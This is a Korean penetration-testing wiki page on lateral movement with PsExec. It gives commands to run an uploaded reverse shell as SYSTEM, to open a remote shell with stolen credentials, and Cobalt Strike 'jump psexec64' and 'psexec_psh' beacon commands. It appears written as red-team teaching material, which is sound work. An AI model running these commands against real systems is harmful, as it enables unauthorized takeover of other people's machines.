펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Ticket
      • DC Shadow
      • RID Hijacking
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Ticket
      • KrbRelayUp
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • DCSync
      • LSASS
      • Shadow Credentials
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxyfier
      • Remote Port Forwarding
    • NTLM Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
    • Tools
      • Cobalt Strike
      • BloodHound
      • Certipy-ad
      • LDAP Search
      • Hydra
      • Hashcat
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 측면 이동

PsExec

PreviousWinRMNextWMI

Last updated 3 days ago

Was this helpful?

장악한 계정으로부터 다른 컴퓨터의 관리자 계정 정보를 획득했거나, Credential Manager에서 확보한 자격 증명이 있다면 해당 컴퓨터의 시스템 쉘을 획득할 수 있습니다. 먼저 대상 호스트의 파일 공유 서버나 파일 업로드 등을 통해알 수 있는 경로의 위치에 리버스 쉘을 업로드 시킨 이후 장악한 계정의 쉘에서 다음 명령을 실행합니다.

# 측면이동 하려는 컴퓨터에 설치한 악성코드 경로를 시스템 권한으로 실행
.\PsExec.exe -acceptula \\<Computer Name> -s -d cmd.exe /c <PATH>

# 측면이동 하려는 컴퓨터의 쉘을 획득
.\PsExec.exe -acceptula \\<Remote IP> -u <USER> -p <PASS> cmd

비콘에서 jump 명령의 인자로 사용되는 psexec/psexec64는 타겟 시스템에 서비스 바이너리 파일을 생성 후, 타겟에서 Windows 서비스를 생성 및 실행하여 비콘을 획득하는 원리입니다. 서비스를 실행할 때는 일반적으로 System 권한으로 실행되기 때문에 획득되는 비콘의 권한 역시 System입니다.

# psexec64를 통해 원격에서 smb 리스너로 연결 수립 명령
beacon> jump psexec64 web.dev.pentesting.wiki smb

하지만 이렇게 생성한 서비스 바이너리는 대상 ADMIN$ 공유 폴더에 생성되며 4697번 서비스 이벤트가 생성됩니다. 반면 psexec_psh는 타겟에 바이너리를 복사하지 않고 PowerShell 원라이너를 실행합니다.(항상 32비트) 명령은 다음과 같습니다.

# 파워쉘 원라이너를 통한 연결 수립 명령
beacon> jump psexec_psh web smb

References

LogoWindows Admin Shares | Red Team Notes
LogoRemote Services: SMB/Windows Admin Shares, Sub-technique T1021.002 - Enterprise | MITRE ATT&CK®